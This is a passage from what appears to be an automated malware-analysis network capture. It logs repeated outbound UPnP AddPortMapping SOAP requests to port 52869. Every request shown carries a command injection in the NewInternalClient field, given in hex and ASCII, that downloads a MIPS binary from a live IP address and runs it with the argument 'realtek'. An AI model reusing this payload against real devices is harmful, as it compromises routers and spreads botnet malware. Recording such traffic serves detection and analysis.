69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:15.318799973 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      163192.168.2.153298645.42.90.16352869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:28:53.180226088 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:54.039597988 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:55.031490088 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:56.983407974 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:00.983256102 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:08.919099092 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
